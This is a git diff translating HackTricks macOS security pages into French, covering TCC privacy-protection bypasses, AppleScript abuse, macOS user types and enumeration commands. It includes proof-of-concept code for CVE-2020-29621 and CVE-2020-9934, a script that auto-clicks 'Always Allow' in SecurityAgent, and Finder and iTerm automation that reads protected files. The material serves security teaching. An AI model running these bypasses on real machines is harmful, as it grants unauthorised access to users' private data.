l'utilisateur / com.apple.macl +Comme mentionné précédemment, il est possible d'accorder l'accès à une application à un fichier en le faisant glisser-déposer dessus. Cet accès ne sera pas spécifié dans une base de données TCC mais en tant qu'**attribut étendu du fichier**. Cet attribut stockera l'UUID de l'application autorisée : ```bash xattr Desktop/private.txt com.apple.macl @@ -166,19 +161,17 @@ Filename,Header,App UUID otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` - {% hint style="info" %} -It's curious that the **`com.apple.macl`** attribute is managed by the **Sandbox**, not tccd +Il est curieux que l'attribut **`com.apple.macl`** soit géré par le **bac à sable**, et non par tccd. {% endhint %} -The extended attribute `com.apple.macl` **can’t be cleared** like other extended attributes because it’s **protected by SIP**. However, as [**explained in this post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), it's possible to disable it **zipping** the file, **deleting** it and **unzipping** it. +L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme les autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans cet article**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en le **supprimant** et en le **décompressant**. -## Bypasses +## Contournements -### Write Bypass - -This is not a bypass, it's just how TCC works: **It doesn't protect from writing**. If Terminal **doesn't have access to read the Desktop of a user it can still write into it**: +### Contournement d'écriture +Ce n'est pas un contournement, c'est juste la façon dont TCC fonctionne : **il ne protège pas contre l'écriture**. Si le Terminal **n'a pas accès à la lecture du bureau d'un utilisateur, il peut toujours y écrire** : ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted @@ -188,31 +181,29 @@ ls: Desktop: Operation not permitted username@hostname ~ % cat Desktop/lalala asd ``` +L'**attribut étendu `com.apple.macl`** est ajouté au nouveau **fichier** pour donner accès à l'application créatrice à sa lecture. -The **extended attribute `com.apple.macl`** is added to the new **file** to give the **creators app** access to read it. +### Contournement SSH -### SSH Bypass - -By default an access via **SSH** will have **"Full Disk Access"**. In order to disable this you need to have it listed but disabled (removing it from the list won't remove those privileges): +Par défaut, un accès via **SSH** aura un accès **"Accès complet au disque"**. Pour le désactiver, vous devez le faire figurer dans la liste mais désactivé (le supprimer de la liste ne supprimera pas ces privilèges) : ![](<../../../../.gitbook/assets/image (569).png>) -Here you can find examples of how some **malwares have been able to bypass this protection**: +Ici, vous pouvez trouver des exemples de la façon dont certains **malwares ont pu contourner cette protection** : * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) -### Electron Bypass +### Contournement Electron -The JS code of an Electron App is not signed, so an attacker could move the app to a writable location, inject malicious JS code and launch that app and abuse the TCC permissions. +Le code JS d'une application Electron n'est pas signé, donc un attaquant pourrait déplacer l'application vers un emplacement inscriptible, injecter un code JS malveillant et lancer cette application pour abuser des autorisations TCC. -Electron is working on **`ElectronAsarIntegrity`** key in Info.plist that will contain a hash of the app.asar file to check the integrity of the JS code before executing it. +Electron travaille sur la clé **`ElectronAsarIntegrity`** dans Info.plist qui contiendra un hachage du fichier app.asar pour vérifier l'intégrité du code JS avant de l'exécuter. -### Terminal Scripts +### Scripts Terminal -It's quiet common to give terminal **Full Disk Access (FDA)**, at least in computers used by tech people. And it's possible to invoke **`.terminal`** scripts using with it. - -**`.terminal`** scripts are plist files such as this one with the command to execute in the **`CommandString`** key: +Il est courant de donner un **Accès complet au disque (FDA)** au terminal, du moins dans les ordinateurs utilisés par les personnes techniques. Et il est possible d'invoquer des scripts **`.terminal`** avec cela. +Les scripts **`.terminal`** sont des fichiers plist tels que celui-ci avec la commande à exécuter dans la clé **`CommandString`** : ```xml @@ -230,9 +221,7 @@ It's quiet common to give terminal **Full Disk Access (FDA)**, at least in compu ``` - -An application could write a terminal script in a location such as /tmp and launch it with a come such as: - +Une application pourrait écrire un script terminal dans un emplacement tel que /tmp et le lancer avec une commande telle que: ```objectivec // Write plist in /tmp/tcc.terminal [...] @@ -243,24 +232,23 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` - ### kTCCServiceAppleEvents / Automation -An app with the **`kTCCServiceAppleEvents`** permission will be able to **control other Apps**. This means that it could be able to **abuse the permissions granted to the other Apps**. +Une application avec la permission **`kTCCServiceAppleEvents`** sera capable de **contrôler d'autres applications**. Cela signifie qu'elle pourrait être capable d'**abuser des permissions accordées aux autres applications**. -For more info about Apple Scripts check: +Pour plus d'informations sur les scripts Apple, consultez : {% content-ref url="macos-apple-scripts.md" %} [macos-apple-scripts.md](macos-apple-scripts.md) {% endcontent-ref %} -For example, if an App has **Automation permission over `iTerm`**, for example in this example **`Terminal`** has access over iTerm: +Par exemple, si une application a la **permission d'automatisation sur `iTerm`**, comme dans cet exemple où **`Terminal`** a accès à iTerm :
-#### Over iTerm +#### Sur iTerm -Terminal, who doesn't have FDA, can call iTerm, which has it, and use it to perform actions: +Terminal, qui n'a pas la FDA, peut appeler iTerm, qui l'a, et l'utiliser pour effectuer des actions : {% code title="iterm.script" %} ```applescript @@ -274,16 +262,13 @@ tell application "iTerm" end tell end tell ``` -{% endcode %} - +{% endcode %} (This is a markdown tag and should not be translated) ```bash osascript iterm.script ``` +#### Sur Finder -#### Over Finder - -Or if an App has access over Finder, it could a script such as this one: - +Ou si une application a accès à Finder, elle pourrait exécuter un script comme celui-ci : ```applescript set a_user to do shell script "logname" tell application "Finder" @@ -293,25 +278,23 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia end tell do shell script "rm " & POSIX path of (copyFile as alias) ``` +### Abus de processus -### Process Abuse +Si vous parvenez à **injecter du code dans un processus**, vous pourrez abuser des permissions TCC de ce processus. -I you manage to **inject code in a process** you will be able to abuse the TCC permissions of that process. - -Check process abuse techniques in the following page: +Consultez les techniques d'abus de processus sur la page suivante : {% content-ref url="../../macos-proces-abuse/" %} [macos-proces-abuse](../../macos-proces-abuse/) {% endcontent-ref %} -See some examples in the following sections: +Voir quelques exemples dans les sections suivantes : ### CVE-2020-29621 - Coreaudiod -The binary **`/usr/sbin/coreaudiod`** had the entitlements `com.apple.security.cs.disable-library-validation` and `com.apple.private.tcc.manager`. The first **allowing code injection** and second one giving it access to **manage TCC**. - -This binary allowed to load **third party plug-ins** from the folder `/Library/Audio/Plug-Ins/HAL`. Therefore, it was possible to **load a plugin and abuse the TCC permissions** with this PoC: +Le binaire **`/usr/sbin/coreaudiod`** avait les entitlements `com.apple.security.cs.disable-library-validation` et `com.apple.private.tcc.manager`. Le premier permettant l'**injection de code** et le second lui donnant accès à **gérer TCC**. +Ce binaire permettait de charger des **plug-ins tiers** à partir du dossier `/Library/Audio/Plug-Ins/HAL`. Par conséquent, il était possible de **charger un plugin et d'abuser des permissions TCC** avec ce PoC : ```objectivec #import #import @@ -338,15 +321,13 @@ __attribute__((constructor)) static void constructor(int argc, const char **argv NSLog(@"[+] Exploitation finished..."); exit(0); ``` - ### CVE-2020–9934 - TCC -The userland **tccd daemon** what using the **`HOME`** **env** variable to access the TCC users database from: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** +Le démon **tccd** de l'espace utilisateur utilise la variable d'environnement **`HOME`** pour accéder à la base de données des utilisateurs TCC à partir de: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** -According to [this Stack Exchange post](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) and because the TCC daemon is running via `launchd` within the current user’s domain, it's possible to **control all environment variables** passed to it.\ -Thus, an **attacker could set `$HOME` environment** variable in **`launchctl`** to point to a **controlled** **directory**, **restart** the **TCC** daemon, and then **directly modify the TCC database** to give itself **every TCC entitlement available** without ever prompting the end user.\ +Selon [cette publication Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le démon TCC s'exécute via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont transmises.\ +Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour pointer vers un **répertoire contrôlé**, **redémarrer** le démon **TCC**, puis **modifier directement la base de données TCC** pour se donner **tous les privilèges TCC disponibles** sans jamais demander l'autorisation de l'utilisateur final.\ PoC: - ```bash # reset database just in case (no cheating!) $> tccutil reset All @@ -373,12 +354,11 @@ X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d69 # list Documents directory without prompting the end user $> ls ~/Documents ``` - ### CVE-2023-26818 - Telegram -Telegram had the entitlements `com.apple.security.cs.allow-dyld-environment-variables` and c`om.apple.security.cs.disable-library-validation`, so it was possible to abuse it to **get access to its permissions** such recording with the camera. You can [**find the payload in the writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). +Telegram avait les entitlements `com.apple.security.cs.allow-dyld-environment-variables` et `com.apple.security.cs.disable-library-validation`, il était donc possible de l'exploiter pour **accéder à ses permissions** telles que l'enregistrement avec la caméra. Vous pouvez [**trouver la charge utile dans l'article**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). -## References +## Références * [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) * [**https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/) @@ -389,10 +369,10 @@ Telegram had the entitlements `com.apple.security.cs.allow-dyld-environment-vari ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md index fb9e1ca73..1421b3298 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md @@ -1,54 +1,34 @@ -# macOS Apple Scripts - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- -## Apple Scripts - -It's a scripting language used for task automation **interacting with remote processes**. It makes pretty easy to **ask other processes to perform some actions**. **Malware** may abuse these features to abuse functions exported by other processes.\ -For example, a malware could **inject arbitrary JS code in browser opened pages**. Or **auto click** some allow permissions requested to the user; +## Scripts Apple +Il s'agit d'un langage de script utilisé pour l'automatisation des tâches **interagissant avec des processus distants**. Il est assez facile de **demander à d'autres processus d'effectuer certaines actions**. Les **logiciels malveillants** peuvent exploiter ces fonctionnalités pour abuser des fonctions exportées par d'autres processus.\ +Par exemple, un logiciel malveillant pourrait **injecter du code JS arbitraire dans les pages ouvertes du navigateur**. Ou **cliquer automatiquement** sur certaines autorisations demandées à l'utilisateur. ``` tell window 1 of process “SecurityAgent” click button “Always Allow” of group 1 end tell ``` +Voici quelques exemples : [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ +Trouvez plus d'informations sur les malwares utilisant des scripts Apple [**ici**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). -Here you have some examples: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Find more info about malware using applescripts [**here**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). +Les scripts Apple peuvent être facilement "**compilés**". Ces versions peuvent être facilement "**décompilées**" avec `osadecompile`. -Apple scripts may be easily "**compiled**". These versions can be easily "**decompiled**" with `osadecompile` - -However, this scripts can also be **exported as "Read only"** (via the "Export..." option): +Cependant, ces scripts peuvent également être **exportés en "Lecture seule"** (via l'option "Exporter...") :
- ``` file mal.scpt mal.scpt: AppleScript compiled ``` - -and tin this case the content cannot be decompiled even with `osadecompile` - -However, there are still some tools that can be used to understand this kind of executables, [**read this research for more info**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). The tool [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) with [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) will be very useful to understand how the script works. +Cependant, il existe encore des outils qui peuvent être utilisés pour comprendre ce type d'exécutables, [**lisez cette recherche pour plus d'informations**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). L'outil [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) avec [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sera très utile pour comprendre comment le script fonctionne.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index 968b84f66..d9134d990 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,51 +1,49 @@ -# macOS Users +# Utilisateurs macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-### Common Users +### Utilisateurs courants -* **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": +* **Daemon**: Utilisateur réservé aux démons système. Les noms de compte de démon par défaut commencent généralement par un "\_": ```bash _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs ``` -* **Guest**: Account for guests with very strict permissions - -{% code overflow="wrap" %} +* **Guest**: Compte pour les invités avec des autorisations très strictes. ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` {% endcode %} -* **Nobody**: Processes are executed with this user when minimal permissions are required +* **Nobody**: Les processus sont exécutés avec cet utilisateur lorsque des autorisations minimales sont requises. * **Root** -### User Privileges +### Privilèges des utilisateurs -* **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. -* **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. -* **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). - * For example root won't be able to place a file inside `/System` +* **Utilisateur standard:** Le plus basique des utilisateurs. Cet utilisateur a besoin d'autorisations accordées par un utilisateur administrateur lorsqu'il tente d'installer un logiciel ou d'effectuer d'autres tâches avancées. Ils ne sont pas en mesure de le faire eux-mêmes. +* **Utilisateur administrateur**: Un utilisateur qui opère la plupart du temps en tant qu'utilisateur standard mais qui est également autorisé à effectuer des actions root telles que l'installation de logiciels et d'autres tâches administratives. Tous les utilisateurs appartenant au groupe admin ont **accès à root via le fichier sudoers**. +* **Root**: Root est un utilisateur autorisé à effectuer presque toutes les actions (il y a des limitations imposées par des protections telles que la Protection de l'intégrité du système). + * Par exemple, root ne pourra pas placer un fichier à l'intérieur de `/System`
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-useful-commands.md b/macos-hardening/macos-useful-commands.md index 1d8dd6917..d98ba3cdc 100644 --- a/macos-hardening/macos-useful-commands.md +++ b/macos-hardening/macos-useful-commands.md @@ -1,25 +1,24 @@ -# macOS Useful Commands +# Commandes utiles pour MacOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-### MacOS Automatic Enumeration Tools +### Outils d'énumération automatique pour MacOS * **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) * **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb) * **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -### Specific MacOS Commands - +### Commandes spécifiques pour MacOS ```bash #System info date @@ -126,20 +125,16 @@ sudo apachectl (start|status|restart|stop) dscacheutil -flushcache sudo killall -HUP mDNSResponder ``` +### Logiciels et services installés -### Installed Software & Services - -Check for **suspicious** applications installed and **privileges** over the.installed resources: - +Vérifiez les applications installées **suspectes** et les **privilèges** sur les ressources installées : ``` system_profiler SPApplicationsDataType #Installed Apps system_profiler SPFrameworksDataType #Instaled framework lsappinfo list #Installed Apps launchtl list #Services ``` - -### User Processes - +### Processus utilisateur ``` # will print all the running services under that 